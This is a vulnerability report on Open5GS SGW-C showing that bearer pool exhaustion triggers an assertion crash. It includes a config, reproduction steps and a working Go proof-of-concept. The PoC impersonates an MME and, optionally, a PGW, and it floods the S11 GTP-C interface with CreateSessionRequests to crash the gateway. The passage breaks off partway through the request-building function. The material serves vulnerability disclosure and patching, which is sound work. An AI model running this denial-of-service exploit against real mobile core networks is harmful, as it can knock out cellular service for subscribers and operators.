| Descripción | ### Description
SGW-C can be crashed via resource exhaustion (bearer pool exhaustion). When the bearer pool reaches its configured limit (ogs_app()->pool.bearer), the next bearer allocation in sgwc_bearer_add() returns NULL, but the code immediately asserts on ogs_assert(bearer).
### Config
```
logger:
file:
path: /var/log/open5gs/sgwc.log
global:
max:
ue: 10
sgwc:
gtpc:
server:
- address: 10.44.44.2
pfcp:
server:
- address: 10.44.44.2
client:
sgwu:
- address: 10.44.44.3
### Steps to reproduce
```
1. Start a new go project inside a new folder: go mod init poc
2. Create a `main.go` and paste the code below:
```
// Vuln-PC1-06 PoC: Bearer pool exhaustion triggers ogs_assert(bearer)
// Target: Open5GS SGW-C sgwc_bearer_add (S11 interface)
// Flow:
// 1) Act as MME: send CreateSessionRequest (TEID=0) with multiple bearers.
// 2) Act as PGW (local fake S5-C): respond to SGW-C's S5-C CreateSessionRequest.
// 3) Read SGW S11 TEID from CreateSessionResponse (Sender F-TEID).
// 4) Act as MME: send additional CreateSessionRequest with TEID!=0 per IMSI.
// 5) Repeat across UEs/sessions to exhaust bearer pool.
// 6) Next bearer allocation hits ogs_assert(bearer) at context.c:560.
//
// Notes:
// - Fake PGW responder is optional but needed to get SGW S11 TEID quickly.
// - Without S11 response, extra sessions per IMSI are skipped to avoid UE reset.
package main
import (
"errors"
"flag"
"fmt"
"log"
"net"
"sync/atomic"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
const (
minEBI = 5
maxEBI = 15
maxBearersPerReq = 8
defaultBearerQoSGBR = 50000
)
var (
target = flag.String("target", "", "Target SGW-C IP (required)")
port = flag.Int("port", 2123, "GTP-C port")
numUEs = flag.Int("ues", 10, "Number of UEs to create")
sessionsPerUE = flag.Int("sessions-per-ue", 3, "Sessions per UE (unique EBI ranges)")
bearersPerSession = flag.Int("bearers", 3, "Bearers per session (1-8)")
delay = flag.Duration("delay", 30*time.Millisecond, "Delay between requests")
localIPFlag = flag.String("local-ip", "", "Local IP for MME simulation (auto if empty)")
pgwIP = flag.String("pgw-ip", "10.44.44.4", "PGW S5/S8 GTP-C IP (required IE)")
autoTune = flag.Bool("auto", true, "Auto-tune counts to exceed bearer pool (uses max-ue/max-sessions-per-ue/max-bearers-per-session)")
maxUE = flag.Int("max-ue", 50, "Configured global.max.ue (for pool sizing)")
maxSessionsPerUE = flag.Int("max-sessions-per-ue", 4, "Configured OGS_MAX_NUM_OF_SESS")
maxBearersPerSess = flag.Int("max-bearers-per-session", 4, "Configured OGS_MAX_NUM_OF_BEARER")
strictEBI = flag.Bool("strict-ebi", false, "Keep EPS Bearer ID within 5..15 (may reduce sessions)")
respTimeout = flag.Duration("resp-timeout", 1200*time.Millisecond, "Timeout to wait for CreateSessionResponse (for SGW S11 TEID)")
fakePGW = flag.Bool("fake-pgw", false, "Start local S5-C fake PGW responder")
fakePGWBind = flag.String("fake-pgw-bind", "", "Bind address for fake PGW (ip:port), default uses pgw-ip:port")
fakePGWPAA = flag.String("fake-pgw-paa", "10.9.0.1", "PAA IPv4 address in fake PGW response")
)
var (
fakePGWS5CTEID uint32 = 0x20000000
fakePGWS5UTEID uint32 = 0x30000000
)
func main() {
flag.Parse()
if *target == "" {
log.Fatal("--target is required")
}
ues := *numUEs
sessions := *sessionsPerUE
bearers := *bearersPerSession
if *autoTune {
ues = *maxUE
sessions = *maxSessionsPerUE
bearers = *maxBearersPerSess + 1
if bearers < 1 {
bearers = 1
}
if bearers > maxBearersPerReq {
bearers = maxBearersPerReq
}
}
if ues < 1 {
ues = 1
}
if ues > *maxUE {
fmt.Printf("[!] ues capped from %d to %d to avoid UE pool exhaustion\n", ues, *maxUE)
ues = *maxUE
}
if sessions < 1 {
sessions = 1
}
if bearers < 1 {
bearers = 1
}
if bearers > maxBearersPerReq {
fmt.Printf("[!] bearers capped from %d to %d (OGS_BEARER_PER_UE)\n", bearers, maxBearersPerReq)
bearers = maxBearersPerReq
}
if *strictEBI {
maxSessionsByEBI := (maxEBI - minEBI + 1) / bearers
if maxSessionsByEBI < 1 {
maxSessionsByEBI = 1
}
if sessions > maxSessionsByEBI {
fmt.Printf("[!] sessions-per-ue capped from %d to %d to keep EPS Bearer IDs within 5..15\n", sessions, maxSessionsByEBI)
sessions = maxSessionsByEBI
}
} else {
if sessions*bearers > (maxEBI-minEBI+1) {
fmt.Println("[!] NOTE: EPS Bearer ID may exceed 15 to avoid reusing existing sessions")
}
}
poolSessions := *maxUE * *maxSessionsPerUE
poolBearers := poolSessions * *maxBearersPerSess
totalSessions := ues * sessions
totalBearers := totalSessions * bearers
fmt.Println("============================================")
fmt.Println("Vuln-PC1-06 PoC: SGW-C Bearer Pool Exhaustion")
fmt.Println("============================================")
fmt.Printf("[*] Target: %s:%d (S11)\n", *target, *port)
fmt.Printf("[*] Pool sizing: max-ue=%d, max-sessions-per-ue=%d, max-bearers-per-session=%d\n", *maxUE, *maxSessionsPerUE, *maxBearersPerSess)
fmt.Printf("[*] pool.sess=%d, pool.bearer=%d\n", poolSessions, poolBearers)
fmt.Printf("[*] Strategy: %d UEs x %d sessions/UE x %d bearers/session\n", ues, sessions, bearers)
fmt.Printf("[*] Total sessions: %d\n", totalSessions)
fmt.Printf("[*] Total bearers requested: ~%d\n", totalBearers)
fmt.Println("[*] Trigger: ogs_assert(bearer) in context.c:560")
fmt.Println("============================================")
if totalSessions > poolSessions {
fmt.Printf("[!] WARNING: total sessions %d > pool.sess %d (may assert in sgwc_sess_add)\n", totalSessions, poolSessions)
}
if totalBearers <= poolBearers {
fmt.Printf("[!] WARNING: total bearers %d <= pool.bearer %d (may not hit bearer assert)\n", totalBearers, poolBearers)
}
conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", *target, *port))
if err != nil {
log.Fatalf("Failed to dial: %v", err)
}
defer conn.Close()
localIP := *localIPFlag
if localIP == "" {
localIP = conn.LocalAddr().(*net.UDPAddr).IP.String()
}
fmt.Printf("[*] Local IP: %s\n", localIP)
if *fakePGW {
bindAddr := *fakePGWBind
if bindAddr == "" {
bindAddr = fmt.Sprintf("%s:%d", *pgwIP, *port)
}
fakeConn, err := startFakePGW(bindAddr, *pgwIP, *fakePGWPAA)
if err != nil {
log.Fatalf("Failed to start fake PGW responder: %v", err)
}
defer fakeConn.Close()
fmt.Printf("[*] Fake PGW responder listening on %s\n", bindAddr)
}
apns := []string{"internet", "ims", "mms", "enterprise", "iot", "vpn"}
var seq uint32 = 1
successCount := 0
bearerCount := 0
for ue := 0; ue < ues; ue++ {
imsi := fmt.Sprintf("00101%010d", ue)
sgwS11TEID := uint32(0)
for s := 0; s < sessions; s++ {
mmeTEID := uint32(0x10000000 + ue*1000 + s)
apn := apns[s%len(apns)]
baseEBI := uint8(minEBI + s*bearers)
headerTEID := uint32(0)
if s > 0 {
if sgwS11TEID == 0 {
log.Printf("[!] Skip extra sessions for IMSI %s: missing SGW S11 TEID", imsi)
break
}
headerTEID = sgwS11TEID
}
csr := buildCSR(seq, headerTEID, imsi, mmeTEID, localIP, *pgwIP, apn, baseEBI, bearers)
payload, err := csr.Marshal()
if err != nil {
log.Printf("[!] Marshal error: %v", err)
continue
}
_, err = conn.Write(payload)
if err != nil {
log.Printf("[!] Send error at UE %d session %d: %v", ue, s, err)
fmt.Println("[!] Connection error - target may have crashed!")
goto done
}
successCount++
bearerCount += bearers
seq++
if successCount%10 == 0 {
fmt.Printf("[*] Sent %d sessions (%d bearers)...\n", successCount, bearerCount)
}
if s == 0 {
rsp, err := waitForCreateSessionResponse(conn, *respTimeout, mmeTEID)
if err != nil {
log.Printf("[!] IMSI %s: CreateSessionResponse not received: %v", imsi, err)
} else {
sgwS11TEID, err = extractSGWS11TEID(rsp)
if err != nil {
log.Printf("[!] IMSI %s: failed to extract SGW S11 TEID: %v", imsi, err)
} else {
log.Printf("[*] IMSI %s: SGW S11 TEID=0x%x", imsi, sgwS11TEID)
}
}
}
if *delay > 0 {
time.Sleep(*delay)
}
}
}
done:
fmt.Println("============================================")
fmt.Printf("[+] Sent %d CreateSessionRequests\n", successCount)
fmt.Printf("[+] Total bearers requested: ~%d\n", bearerCount)
fmt.Println("[*] Check SGW-C logs for crash:")
fmt.Println(" docker logs sgwc --tail 100 2>&1 | grep -E '(FATAL|assert|Aborted|bearer)' ")
fmt.Println("============================================")
}
func buildCSR(seq uint32, headerTEID uint32, imsi string, mmeTEID uint32, localIP, pgwIP, apn string, baseEBI uint8, numBearers int) *message.CreateSessionRequest {
senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "")
pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, 0, pgwIP, "").WithInstance(1)
bearerIEs := make([]*ie.IE, 0, numBearers)
for b := 0; b < numBearers; b++ {
ebi := baseEBI + uint8(b)
enbTEID := mmeTEID*10 + uint32(b)
bearerCtx := ie.NewBearerContext(
ie.NewEPSBearerID(ebi),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1UeNodeBGTPU, enbTEID, localIP, ""),
ie.NewBearerQoS(1, 2, 1, 9, defaultBearerQoSGBR, defaultBearerQoSGBR, defaultBearerQoSGBR, defaultBearerQoSGBR),
)
bearerIEs = append(bearerIEs, bearerCtx)
}
ies := []*ie.IE{
ie.NewIMSI(imsi),
ie.NewMSISDN("8612345678901"),
ie.NewMobileEquipmentIdentity("353490069876543"),
ie.NewServingNetwork("001", "01"),
ie.NewRATType(gtpv2 |
|---|